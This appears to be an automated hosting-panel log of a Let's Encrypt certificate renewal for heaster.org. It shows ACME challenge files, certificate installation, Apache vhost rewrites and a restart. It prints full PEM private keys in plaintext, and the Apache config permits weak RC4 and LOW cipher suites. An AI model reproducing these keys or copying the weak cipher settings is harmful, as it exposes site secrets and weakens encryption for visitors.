MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPAkgBH3dzY8g
2kVoaKhwpp2ZpRZ2in2nEGhm/yhXpVDIUDFoFhs0JooBchvHtN4/J0N8g8YuDfx4
M/0JT+lCLDzADRGeggMS4cQzd/xFF2aSv0xHEM3Htv9eGlS1aC7OuWsT/0P2rhGL
ZxN+Eu6H6jp1/D5aiHEbZQc1Qv8juiKmERybuvjUCmHMVMMeoyl6i90MgSnnu5b5
HUQ+Ip+tA3nKEI6se+GumIcrAZRn3LmLJAcyOPeEjRVcF5Kk1bBp2v39B1vMgwvR
Dc/18GoKHRnQIJ7qY1HB0fI9R6fvf+en3q+8OWUZ1MQPTg0qEZRbVhuJggOOQGVF
sZJ8XbYHAgMBAAECggEALvMtdRjhJ6YE9+EmqhR3tiBIcgYDyIEiJawC38PXDOYP
Zcaevg615rY2KdcZEeyvB9FNx5Wk1GoUXl2r29msN4qnu+1Qj6SCKgIFdYxFjzpS
siyblkCIATQ0fh+fcnYMSCM3RkINeP+QLE13xDEjuiG0QV4ysEq2Bkrdf0+IukqV
8T5mNUbqvuNTf9YgjMJ9hUgTqgnRnEVYzvuH8VuZX2mnSM0gKbSk8tZnimgrSM+F
2IeaaRdjknIedewp5W16TRYus6ltz2o9IhcbQuj8OR18FUNLIoywh2rE/ZkQa6gn
PvMOxi01jW/8x0x+uC3Gbn20v0um4qjtYZKTBzHE8QKBgQDx0pMuMsX14hl6PvEG
hi+pIuaS8iQ5WMcIDR+FPTnKHS4zBQRN5EjrKalWgn8S6aKDejMPP5EdffhjuRf1
DBY3kYCgvubGj1/FAiWGQbtBDEsyoWQ6Lq/m46hPZnMaioBAeoPxq1G9HCfrLLyL
pwZb1CSF1sHjDEKd2PSxOFId2QKBgQDoFnH1INVYpASYxTFjDo4gdU+54FUaU575
ZtBdtnrelypH6RnhCvFzZoo0tgNEt6aZp/9qclcShLLYtM7Fms1gP0XrwWrPxjFw
bRl5ntNkA8DYTaC3SnOArlmQTO8cDjhPAKkgEN5lKmPdVJUUpIFjKyt4UDp1yvkz
MkwbzXOm3wKBgETpcS/VIDy1tfT0QtNNIf/dBkAR6Oi+t9k/hCAAFpvWPPglEdjw
mScKtEsG3ReSpNE63ZoWz0/MOiCQ+pbGXv5u5GzqefFTokMOHYto5+fdjQBcpac+
7rmpXqlh1KNXnLzDLR6NZ7mwcF/AW+qgKlu41L+fN5lwQPuie/iUyDHhAoGBAKB+
JP/mXKKXibY7ZxOhFRfNB/z57N/vw5ekSaMEdaNH1a00vPiqoJ204w3gcBItDcBk
NHRf7WaY7TR+lB6CFlPgbXHCpyJXZAji6SL5eiVHkywBQop9qbHq33SyPwefrcC0
LEBIagJ7deOwggdsWy1AxSbGFCcw3XNR7N+tC7TxAoGAE4eFRxtOhWyjzKA0Ln+L
u39sK1yyV7KfaWO+4nJ7RRgPuj5xRuYgq+rlzZe7/dCe3Z5fkvUHW9poTF+MbTFb
Uf93tvPUZLsNVlpY8NfHWnb5EfBCFLd8ewj7o6GBwHnenrnuHDsRDFHMLaAoj9L/
vUYmS16e8uAycdo5IgqJies=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-28 06:00:01: Establishing a connection
2025-12-28 06:00:02: Establishing a connection
2025-12-28 06:00:02:
PUT: /tmp/pkp275716
#!/bin/bash
if [ -d "/var/www/heaster_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-28 06:00:08:
chmod 755 /tmp/pkp275716; /tmp/pkp275716; rm /tmp/pkp275716
2025-12-28 06:00:08:
1
2025-12-28 06:00:10: Establishing a connection
2025-12-28 06:00:10:
PUT: /tmp/pkp815676
#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
cat > BWJMj7kXI3dJt-SlCGxbZUr56JPhLjXAotwe-QU2bvg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
BWJMj7kXI3dJt-SlCGxbZUr56JPhLjXAotwe-QU2bvg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 BWJMj7kXI3dJt-SlCGxbZUr56JPhLjXAotwe-QU2bvg
cat > EZoVJHGVOo3dZKdDnWv8s5YLBfeLtigZeuHptoG_lkg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
EZoVJHGVOo3dZKdDnWv8s5YLBfeLtigZeuHptoG_lkg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 EZoVJHGVOo3dZKdDnWv8s5YLBfeLtigZeuHptoG_lkg
2025-12-28 06:00:10:
chmod 755 /tmp/pkp815676; /tmp/pkp815676; rm /tmp/pkp815676
2025-12-28 06:00:10:
2025-12-28 06:00:18: Establishing a connection
2025-12-28 06:00:18:
PUT: /tmp/pkp830953
#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
rm BWJMj7kXI3dJt-SlCGxbZUr56JPhLjXAotwe-QU2bvg
rm EZoVJHGVOo3dZKdDnWv8s5YLBfeLtigZeuHptoG_lkg
2025-12-28 06:00:18:
chmod 755 /tmp/pkp830953; /tmp/pkp830953; rm /tmp/pkp830953
2025-12-28 06:00:18:
2025-12-28 06:00:18: Establishing a connection
2025-12-28 06:00:19:
PUT: /tmp/pkp650281
#!/bin/bash
temp_file=$(mktemp)
TARGET=d76ac506d6f13662e06babf635b43fda.crt
cat > $temp_file <<'endmsg'
d6:4a:3c:12:18:d4:48:f9:af:4c:e3:6e:dd:2b:5d:c7
-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBcDLmx4PB+5LK1bqxufcXZPAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI4MDUwMTQ4WhcNMjYwMzI4MDUwMTQ3WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALVf
dCmsk7CrJ4sBBgszBgpENVOa3kBmYU0Pu/LkdzQXxPu45EM7P6rAt/kgp6eN8+RM
orHodJozP/+3RqyVbXyS+XNshsfPfkGU4XTMwR46EhpbmpYKamyJCUVbauGr9+Zd
WM8S+KulipVILgAqY3NajzaPerH5NN9Rn7778b+vnHQzyRreke1ouV7Vp/IcV4SW
w2vNq0y1nz9NCaR2T6z31q5rhEzOFd3rxP74AxphFfR/cd/L90jbdpBE/ZDMhfEw
rBjODOojJiagQ6dQ+jdWKG6mm4AtLc48OCj1wo+SEVmCtX57Cmc1u/UDD5Zh/z58
LnIvHSJueDafF97gMVkCAwEAAaOCAiwwggIoMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUYr/nUdLudQGuYWcas7YSQCbAhuwwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAnBgNVHREEIDAeggtoZWFzdGVyLm9yZ4IPd3d3LmhlYXN0
ZXIub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0
dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjUuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB
8gDwAHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbY4sVlQAA
BAMARjBEAiB2bTq6CpmyoAWvkUxyEpMJLqxPUC7xfV6j6fuFmvWZ6AIgK6Y7ZI5Z
JFSbyLktxLE5e3gkHNP8mSvz4D1q//Zv/3wAdwDRbqmlaAd+ZjWgPzel3bwDpTxB
EhTUiBj16TGzI8uVBAAAAZtjixZ6AAAEAwBIMEYCIQChqC5CBtS72F9BpCcgTHHg
5mcWImBPypqOKgbCA01aqgIhANidjmI4mzbNwAyhiOuRxQzUIcGtF0XcpBHZPq7O
vz5CMA0GCSqGSIb3DQEBCwUAA4IBAQCRpUWvd6nMoujy41EJU22y5kZtoa/ekKox
y3yk+m5tUgaHAxp8SryPD1Aowrez6wC03FbeYAVts0dJLvNuZyLqx2TTn7zxj8iR
oioUulLsvrlDPb7d/dGu17RQBbfiAxd+0NK3JnIjxvONhtLLDjFs2JPK/JB9jj9i
0YDOewBHCRwd5CS5Ew4LRV7P49Oj9iExw6dFK9m6FYaNFfNzfFVO8gik+cray6ZL
9PYd7N3DdKm3Lij1jTnOZ0L+WN4YiSAyBfG3qk/JrzGput16Lo858iZ4cWsokW8h
Z3bXBFzsp7kXFAMiJjW6SQsAC8aa3/AMr4nRH+DSoxxK+y5E/vk4
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1X3QprJOwqyeL
AQYLMwYKRDVTmt5AZmFND7vy5Hc0F8T7uORDOz+qwLf5IKenjfPkTKKx6HSaMz//
t0aslW18kvlzbIbHz35BlOF0zMEeOhIaW5qWCmpsiQlFW2rhq/fmXVjPEvirpYqV
SC4AKmNzWo82j3qx+TTfUZ+++/G/r5x0M8ka3pHtaLle1afyHFeElsNrzatMtZ8/
TQmkdk+s99aua4RMzhXd68T++AMaYRX0f3Hfy/dI23aQRP2QzIXxMKwYzgzqIyYm
oEOnUPo3VihuppuALS3OPDgo9cKPkhFZgrV+ewpnNbv1Aw+WYf8+fC5yLx0ibng2
nxfe4DFZAgMBAAECggEAE2b0a3/bZb8NchyIK7sH1qHQzZKH235IQuDfw35GtTMk
vqPbAUktiKPomlUwsicok7/R+LOsA5HfcwjFXfF3PqgPWNZffbD36eaWDrNXplbi
eGDbwti25UjsjbeXkbAeiw1p0m8OXHhPQKRxzVE7hcvGfbjwEGlfC1O1Qc48YHun
4bpUOUs1SQlPBUQ+/OxrK7lu9ImS+OQS6okWFYrnb6Z2W8mhbPBjZKhGZslbc+NY
s8+RvUmZ+IVc+mByR4g+lLcjNEtsUHDz+53KyssSole4ThfYuH+C7QWfZVnQ1m8l
m0AoqtehyK3/mA1xz2bpOIe6mtOmF/gpZHF+1FONwQKBgQDeqCpxcEniTeYligme
3GuxXwlv4quW/tsizxAGhCrkWCoETarB0H04Kt4A0LqRofdag1kZU8ka1nNBlSoi
Ty7Jsd2uhlGGQIoF0H3R9Hv2K2UM9ImBlEB540lmQXhmU6a2+rD8zvn33DaPrWuR
/1cxRBviVIgQ+3u0bCJIfo1w+QKBgQDQiJzBtiidr2QMbfgb/lUvCZrZQ9zILhVb
GuSKT3a31ov3Tdj4ge2DjOz0g/yjVQ4jpqvfHs8G+5nuiLR/jH1xSGY/BPLCPgOg
SKHQIh4YRSYA6Oej9I1Rf6DM4mWurTVzRxC/+r4FZSpqWEJ14bntgIa5jODO/A+S
Q2AuYvc7YQKBgDGO5puHLbrEMfSrC8cjMokxKQ2ROzYJlcbipaN9qXpXsUpx6w7m
k+h7ihxOWShvD3pDAALmJj3l+5NeWxl13GkiQMBGv0CNfusaY9bmfuzk7cH7b9u6
nrtCfqTW77B+7/2MQPaULwkfJ7nFFMtTNRoPGdG/lOWKxBb9dogCOwMpAoGBAJ1v
ZhmBMuzJa5lOtNA9lYYrlDKPX3HqCMl9ZildkN1+JrGQnkwPm4eDr6lytBuDrWcR
ABU1J0u4TCCgKNVa9aG+7SKK09P+CbLK4w9Fkr70BZsOO0O277IlzvqfufDEZ+Qe
NPEblrZwCDO9an+g6UP7krsnNtpNxlvAbi7XHJxBAoGBAKXQXN0jfTgEvGM2TF88
eHIUvk9WTCemANvH366ivKbtcD8ID46YqaPrPvCqG9to59uz3c/iFD/E6KCZvxVE
Ilf13YwjCrIur9UvTH8KSDYcJue3/5iJtqw1ertsvUCDoCr5gNAwMkwDfwRmcI5q
BqoAmxHDZso6tightp61I8Ej
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-28 06:00:19:
chmod 755 /tmp/pkp650281; /tmp/pkp650281; rm /tmp/pkp650281
2025-12-28 06:00:19:
dir=/etc/ssl/certs
2025-12-28 06:00:19:
PUT: /tmp/pkp431969
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/heaster_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-28 06:00:19:
chmod 755 /tmp/pkp431969; /tmp/pkp431969; rm /tmp/pkp431969
2025-12-28 06:00:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf 39
<VirtualHost *:80>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_access.log combined
ErrorLog /var/log/apache2/heaster/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_secure_access.log combined
ErrorLog /var/log/apache2/heaster/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-28 06:00:19:
PUT: /tmp/pkp910677
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=heaster_www_org.conf
TARGET=/etc/apache2/sites-enabled/heaster_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_access.log combined
ErrorLog /var/log/apache2/heaster/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_secure_access.log combined
ErrorLog /var/log/apache2/heaster/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/heaster_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/heaster_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf= 1'
fi
2025-12-28 06:00:19:
chmod 755 /tmp/pkp910677; /tmp/pkp910677; rm /tmp/pkp910677
2025-12-28 06:00:19:
2025-12-28 06:00:19:
PUT: /tmp/pkp649974
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-28 06:00:19:
chmod 755 /tmp/pkp649974; /tmp/pkp649974; rm /tmp/pkp649974
2025-12-28 06:00:19:
.
2025-12-28 06:00:19: Establishing a connection
2025-12-28 06:00:19:
PUT: /tmp/pkp508976
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-28 06:00:20:
chmod 755 /tmp/pkp508976; /tmp/pkp508976; rm /tmp/pkp508976
2025-12-28 06:00:20:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-28 06:00:20:
PUT: /tmp/pkp606609
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/heaster_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-28 06:00:20:
chmod 755 /tmp/pkp606609; /tmp/pkp606609; rm /tmp/pkp606609
2025-12-28 06:00:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf 1347
<VirtualHost *:80>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_access.log combined
ErrorLog /var/log/apache2/heaster/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
